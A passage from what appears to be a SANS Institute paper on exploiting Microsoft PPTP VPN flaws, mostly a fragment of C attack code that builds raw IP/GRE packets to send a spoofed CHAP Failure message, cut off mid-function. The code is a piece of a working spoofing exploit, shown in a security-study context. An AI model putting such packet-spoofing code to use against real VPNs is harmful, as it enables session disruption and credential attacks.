Microsoft pptp vpn vulnerabilities Exploits in Action

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Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
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Author retains full rights.
79
prev->next = ptr-> next;
free(ptr);
}
else
{
memcpy(ptr->name, name, 63);
ptr->name[63] = '\0';
}
}
return ret;
}
#ifdef IP_HDRINCL
void send_chap_failure(struct ip *ip, struct pptp_gre_header *gre, void *pack)
{ 
int len, i;
struct {
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge responce;
} *p;
struct {
struct ip ip;
struct pptp_gre_header gre;
struct ppp_header ppp;
struct ppp_lcp_chap_header chap;
char message[64];
} pkt;
struct sockaddr_in dst_addr;
struct in_addr dst, src;
p = pack;
dst.s_addr = ip->ip_dst.s_addr;
src.s_addr = ip->ip_src.s_addr;
if (debug > 0)
{
printf("%s -> ", inet_ntoa(dst));
printf("%s CHAP Failure (spoofed)\n",inet_ntoa(src));
}
0

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